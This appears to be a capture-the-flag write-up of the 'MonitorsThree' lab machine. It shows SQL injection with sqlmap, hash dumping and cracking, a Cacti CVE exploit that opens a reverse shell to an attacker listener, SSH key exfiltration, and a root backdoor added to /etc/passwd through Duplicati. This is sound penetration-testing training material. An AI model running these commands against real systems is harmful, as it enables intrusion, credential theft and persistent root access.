Enumeration

As usual, we start off with an nmap scan to get a listing of open ports and running services:

sudo nmap -sS -sV -sC -oN scan_full.log -p- -T4 -Pn -n -v $target
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8084 is likely a false positive as it isn’t always identified when running various nmap scans.

There is a redirection to monitorsthree.htb on port 80 by nginx so we must add this to the /etc/hosts file so we can enumerate the web application.

For enumerating the web server, we should start up burpsuite first and run the browser through this proxy to record as much as possible about the web traffic to the host.

In the background, it is a good idea to start some vhost and directory busting against the web application. For vhost enumeration, I prefer ffuf:

ffuf -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb' -t 20 -fs 13560

And for directory busting, I use feroxbuster initially:

feroxbuster -u http://monitorsthree.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

The vhost enumeration using ffuf reveals a cacti subdomain and when we go to it in the browser (after adding cacti.monitorsthree.htb to the /etc/hosts file of course), we get redirected to a cacti application login screen. Cacti is another type of network monitoring tool.

There are multiple exploits for cacti available, but we need credentials to exploit them.

Exploitation of SQL Injection

There is not much functionality in the monitorsthree.htb application, however there is some login functionality. Again, we would need credentials to access this typically, but there is a Forgot Password button which links to http://monitorsthree.htb/forgot_password.php. Trying this input with a SQLi prompt of pentester ' or 1=1 -- will generate an error in the web page of:

Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

We have identified a possible SQLi exploit. I always have burpsuite running in the background while analyzing web applications, and this meant I had captured a request in the proxy. I removed the SQLi attempt and made this HTTP request:

POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://monitorsthree.htb
Connection: keep-alive
Referer: http://monitorsthree.htb/forgot_password.php
Cookie: PHPSESSID=fhu8bjkrb87ue91n077tlpso82
Upgrade-Insecure-Requests: 1

username=pentester

I saved this as forgot-password.req and ran sqlmap against it:

sqlmap -r forgot-password.req --batch -p username
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=pentester' AND (SELECT 3964 FROM (SELECT(SLEEP(5)))yLgJ) AND 'dZPh'='dZPh
---

Time-based blind injections can be very slow…

But we can use options like --dbs and --tables to get enough information to then run this:

sqlmap -r forgot-password.req --batch -p username -D monitorsthree_db -T users --dump

Which will dump the credentials of the users in the DB. The one that we can crack is the Super Admin account owned by Marcus Higgins.

We can crack it with hashcat:

hashcat -O -m 0 hash /usr/share/wordlists/rockyou.txt

Use mode 0 because it’s only a very weak MD5 hash.

We can then take this password and successfully log into the portal at http://cacti.monitorsthree.htb using the credentials of admin:<redacted> (Password found above).

Exploitation of Cacti

Firstly, git clone the exploit PoC directory locally and cd to it:

git clone https://github.com/Safarchand/CVE-2024-25641.git
cd CVE-2024025641

Set up a nc listener:

rlwrap nc -lnvp <attack_host_port>

And then trigger the exploit with:

python3 exploit.py --url http://cacti.monitorsthree.htb -u admin -p '<redacted>' -i <attack_host_ip> -l <attack_host_port>

You will end up with a shell on the machine:

connect to [10.10.14.7] from (UNKNOWN) [10.10.11.30] 50694
/bin/sh: 0: cant access tty; job control turned off
$ ls -la
total 24
drwxr-xr-x  5 www-data www-data 4096 Aug 31 06:39 .
drwxr-xr-x 20 www-data www-data 4096 May 18 21:56 ..
-rw-r--r--  1 www-data www-data 1586 Dec 20  2023 index.php
drwxr-xr-x  2 www-data www-data 4096 May 18 21:56 script_queries
drwxr-xr-x  2 www-data www-data 4096 May 18 21:56 script_server
drwxr-xr-x  2 www-data www-data 4096 May 18 21:56 snmp_queries
$ whoami
www-data
$

Escalation to Marcus

As www-data, it is possible to read through all the web application files located under /var/www/html including the cacti application files. cacti also uses MySQL as the database.

Looking through the cacti install files reveals a globals.php file with information regarding the username and password for the MySQL database.

Then log into the MySQL instance from the low privileged shell using:

mysql -h 127.0.0.1 -u cactiuser -p

Enter the password when the prompt appears, and then you should have access to the MySQL prompt and can query the database. There are many tables in the cacti database, but the only one of interest to us at the moment is the user_auth table. We can view the credentials stored here using:

MariaDB [cacti]> select * from user_auth;

There are several credentials listed. We can attempt to crack all of them with hashcat:

hashcat -O -m 3200 db_hashes /usr/share/wordlists/rockyou.txt

This will crack the password for the marcus user. This credential will fail to SSH to the host as the authentication is set up to require that the user pass the id_rsa to enter. So to get this, we must first su marcus, enter the password and exfiltrate the SSH key. I did this by using cat and simply copying it to my machine.

Escalation to Root

Running netstat -ano reveals that there is something listening on port 8200. We can try to access it using a local port forward. Drop the current SSH connection and restart it using:

ssh -L 8200:localhost:8200 -i id_rsa marcus@$target

Then, in the web browser, you can navigate to http://localhost:8200 and see a Duplicati login.

I followed these instructions exactly, to bypass the Duplicati login, https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

You will need burpsuite, cyberchef and have to execute the JavaScript code in the context of the Duplicati site.

I found escalation using Duplicati to be quite tedious. Firstly, it’s running in Docker so every path must be relative to the mounted path. Notice:

marcus@monitorsthree:/opt$ cat docker-compose.yml
version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

The volume mounts the root / as the /source directory in the container. So if your trying to target /root/root.txt for example, that path, in the context of the container trying to get it from the host, must be /source/root/root.txt. I kept doing this wrong several times and wondered, stupidly, why it wasn’t working. Consider also that its running as the root user, and it’s a backup program, with access to the / root file system… It can do anything, like take a backup of /etc/shadow.

The dirtiest way to get the root.txt flag, is to just simply create a backup job and backup and restore the flag. Box done. But persistence as root is FAR better.

It’s actually really simple. Firstly, cp /etc/passwd /dev/shm/ to take a copy of the passwd file on the host.

Run echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /dev/shm/passwd to add the credential of pentester:Pentester123! to the copied passwd file.

Create a backup job in Duplicati to back up /source/dev/shm/passwd. Trigger the backup. Select restore, choose the passwd file, and select the restore location as /source/etc and make sure Overwrite is ticked. Click restore and if all was set correctly, the host’s /etc/passwd now has the modified version.

Get root like privileges by the going su pentester, entering Pentester123! and verifying you have a root shell.